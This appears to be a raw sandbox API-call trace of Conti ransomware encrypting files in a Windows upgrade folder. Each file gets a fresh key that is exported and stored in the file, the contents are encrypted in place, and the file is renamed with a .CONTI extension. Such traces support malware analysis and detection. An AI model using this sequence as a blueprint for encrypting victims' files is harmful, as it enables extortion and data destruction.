	[0149.541] GetProcessHeap () returned 0x1720000
	[0149.541] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0149.541] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css") returned="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css"
	[0149.541] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css.CONTI"
	[0149.541] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.css"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\default_eos.css.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_eos.css.conti")) returned 1
	[0149.542] GetProcessHeap () returned 0x1720000
	[0149.542] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.542] CryptDestroyKey (hKey=0x17de750) returned 1
	[0149.542] GetProcessHeap () returned 0x1720000
	[0149.542] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65de7d0 | out: hHeap=0x1720000) returned 1
	[0149.542] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0149.542] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65dbbb0 | out: phKey=0x65dbbb0*=0x17dea10) returned 1
	[0149.542] CryptExportKey (in: hKey=0x17dea10, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dbbb4, pdwDataLen=0x45bfa3c | out: pbData=0x65dbbb4*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0149.543] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.css")) returned 0x20
	[0149.543] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0149.543] GetLastError () returned 0x0
	[0149.543] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=5224) returned 1
	[0149.543] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1468
	[0149.544] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.544] SetEndOfFile (hFile=0x49c) returned 1
	[0149.544] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.544] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.544] WriteFile (in: hFile=0x49c, lpBuffer=0x65dbbb4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65dbbb4*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0149.550] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.550] ReadFile (in: hFile=0x49c, lpBuffer=0xc100000, nNumberOfBytesToRead=0x1468, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x1468, lpOverlapped=0x0) returned 1
	[0149.551] CryptEncrypt (in: hKey=0x17dea10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x1468, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x1470) returned 1
	[0149.551] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.551] WriteFile (in: hFile=0x49c, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x1470, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x1470, lpOverlapped=0x0) returned 1
	[0149.551] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.551] WriteFile (in: hFile=0x49c, lpBuffer=0x65dbba8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65dbba8*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0149.551] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.551] CloseHandle (hObject=0x49c) returned 1
	[0149.552] GetProcessHeap () returned 0x1720000
	[0149.552] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0149.552] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css") returned="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css"
	[0149.552] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css.CONTI"
	[0149.552] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.css"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\default_oobe.css.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\default_oobe.css.conti")) returned 1
	[0149.552] GetProcessHeap () returned 0x1720000
	[0149.552] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.552] CryptDestroyKey (hKey=0x17dea10) returned 1
	[0149.552] GetProcessHeap () returned 0x1720000
	[0149.552] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65dee60 | out: hHeap=0x1720000) returned 1
	[0149.552] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0149.552] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65d7bd0 | out: phKey=0x65d7bd0*=0x17de890) returned 1
	[0149.552] CryptExportKey (in: hKey=0x17de890, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d7bd4, pdwDataLen=0x45bfa3c | out: pbData=0x65d7bd4*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0149.553] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ar-sa.htm")) returned 0x20
	[0149.553] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ar-sa.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0149.554] GetLastError () returned 0x0
	[0149.554] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=110445) returned 1
	[0149.554] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1af6d
	[0149.554] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.554] SetEndOfFile (hFile=0x49c) returned 1
	[0149.554] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.554] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.554] WriteFile (in: hFile=0x49c, lpBuffer=0x65d7bd4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65d7bd4*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0149.573] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.573] ReadFile (in: hFile=0x49c, lpBuffer=0xc100000, nNumberOfBytesToRead=0x1af6d, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x1af6d, lpOverlapped=0x0) returned 1
	[0149.575] CryptEncrypt (in: hKey=0x17de890, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x1af6d, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x1af70) returned 1
	[0149.576] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.576] WriteFile (in: hFile=0x49c, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x1af70, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x1af70, lpOverlapped=0x0) returned 1
	[0149.576] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.576] WriteFile (in: hFile=0x49c, lpBuffer=0x65d7bc8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65d7bc8*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0149.576] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.576] CloseHandle (hObject=0x49c) returned 1
	[0149.576] GetProcessHeap () returned 0x1720000
	[0149.576] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0149.576] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm"
	[0149.576] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm.CONTI"
	[0149.576] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ar-sa.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ar-sa.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ar-sa.htm.conti")) returned 1
	[0149.577] GetProcessHeap () returned 0x1720000
	[0149.577] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.577] CryptDestroyKey (hKey=0x17de890) returned 1
	[0149.577] GetProcessHeap () returned 0x1720000
	[0149.577] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c5908 | out: hHeap=0x1720000) returned 1
	[0149.577] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0149.577] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65d8980 | out: phKey=0x65d8980*=0x17de790) returned 1
	[0149.577] CryptExportKey (in: hKey=0x17de790, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d8984, pdwDataLen=0x45bfa3c | out: pbData=0x65d8984*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0149.578] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_cs-cz.htm")) returned 0x20
	[0149.578] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_cs-cz.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0149.578] GetLastError () returned 0x0
	[0149.579] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=83315) returned 1
	[0149.579] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x14573
	[0149.579] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.579] SetEndOfFile (hFile=0x49c) returned 1
	[0149.579] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.579] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.579] WriteFile (in: hFile=0x49c, lpBuffer=0x65d8984*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65d8984*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0149.583] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.583] ReadFile (in: hFile=0x49c, lpBuffer=0xc100000, nNumberOfBytesToRead=0x14573, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x14573, lpOverlapped=0x0) returned 1
	[0149.585] CryptEncrypt (in: hKey=0x17de790, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x14573, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x14580) returned 1
	[0149.586] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.586] WriteFile (in: hFile=0x49c, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x14580, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x14580, lpOverlapped=0x0) returned 1
	[0149.586] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.586] WriteFile (in: hFile=0x49c, lpBuffer=0x65d8978*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65d8978*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0149.586] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.586] CloseHandle (hObject=0x49c) returned 1
	[0149.586] GetProcessHeap () returned 0x1720000
	[0149.586] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0149.586] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm"
	[0149.586] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm.CONTI"
	[0149.586] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_cs-cz.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_cs-cz.htm.conti")) returned 1
	[0149.589] GetProcessHeap () returned 0x1720000
	[0149.589] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.589] CryptDestroyKey (hKey=0x17de790) returned 1
	[0149.589] GetProcessHeap () returned 0x1720000
	[0149.589] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c59f8 | out: hHeap=0x1720000) returned 1
	[0149.589] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0149.589] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65d9e08 | out: phKey=0x65d9e08*=0x17de8d0) returned 1
	[0149.589] CryptExportKey (in: hKey=0x17de8d0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d9e0c, pdwDataLen=0x45bfa3c | out: pbData=0x65d9e0c*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0149.590] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_de-de.htm")) returned 0x20
	[0149.590] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_de-de.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0149.591] GetLastError () returned 0x0
	[0149.591] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=70461) returned 1
	[0149.591] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1133d
	[0149.591] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.591] SetEndOfFile (hFile=0x448) returned 1
	[0149.591] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.591] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.591] WriteFile (in: hFile=0x448, lpBuffer=0x65d9e0c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65d9e0c*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
	[0149.594] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.594] ReadFile (in: hFile=0x448, lpBuffer=0xc100000, nNumberOfBytesToRead=0x1133d, lpNumberOfBytesRead=0x45bfa14, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesRead=0x45bfa14*=0x1133d, lpOverlapped=0x0) returned 1
	[0149.599] CryptEncrypt (in: hKey=0x17de8d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x1133d, dwBufLen=0x500000 | out: pbData=0xc100000*, pdwDataLen=0x45bfa0c*=0x11340) returned 1
	[0149.599] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.599] WriteFile (in: hFile=0x448, lpBuffer=0xc100000*, nNumberOfBytesToWrite=0x11340, lpNumberOfBytesWritten=0x45bfa28, lpOverlapped=0x0 | out: lpBuffer=0xc100000*, lpNumberOfBytesWritten=0x45bfa28*=0x11340, lpOverlapped=0x0) returned 1
	[0149.599] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.599] WriteFile (in: hFile=0x448, lpBuffer=0x65d9e00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x45bfa40, lpOverlapped=0x0 | out: lpBuffer=0x65d9e00*, lpNumberOfBytesWritten=0x45bfa40*=0x8, lpOverlapped=0x0) returned 1
	[0149.600] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.600] CloseHandle (hObject=0x448) returned 1
	[0149.600] GetProcessHeap () returned 0x1720000
	[0149.600] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0149.600] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm"
	[0149.600] lstrcatW (in: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm", lpString2=".CONTI" | out: lpString1="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm.CONTI") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm.CONTI"
	[0149.600] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_de-de.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_de-de.htm.CONTI" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_de-de.htm.conti")) returned 1
	[0149.600] GetProcessHeap () returned 0x1720000
	[0149.600] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0149.600] CryptDestroyKey (hKey=0x17de8d0) returned 1
	[0149.600] GetProcessHeap () returned 0x1720000
	[0149.600] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c5278 | out: hHeap=0x1720000) returned 1
	[0149.600] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x45bfa68, lpCompletionKey=0x45bfa6c, lpOverlapped=0x45bfa78) returned 1
	[0149.601] CryptGenKey (in: hProv=0x1763c48, Algid=0x6610, dwFlags=0x1, phKey=0x65d92a0 | out: phKey=0x65d92a0*=0x17dead0) returned 1
	[0149.601] CryptExportKey (in: hKey=0x17dead0, hExpKey=0x175ddf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d92a4, pdwDataLen=0x45bfa3c | out: pbData=0x65d92a4*, pdwDataLen=0x45bfa3c*=0x20c) returned 1
	[0149.601] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-gb.htm")) returned 0x20
	[0149.601] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_en-gb.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_en-gb.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0149.602] GetLastError () returned 0x0
	[0149.602] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x45bf9e8 | out: lpFileSize=0x45bf9e8*=58549) returned 1
	[0149.602] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe4b5
	[0149.602] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0149.602] SetEndOfFile (hFile=0x448) returned 1
	[0149.602] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0149.602] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0149.602] WriteFile (in: hFile=0x448, lpBuffer=0x65d92a4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x45bf9f4, lpOverlapped=0x0 | out: lpBuffer=0x65d92a4*, lpNumberOfBytesWritten=0x45bf9f4*=0x20c, lpOverlapped=0x0) returned 1
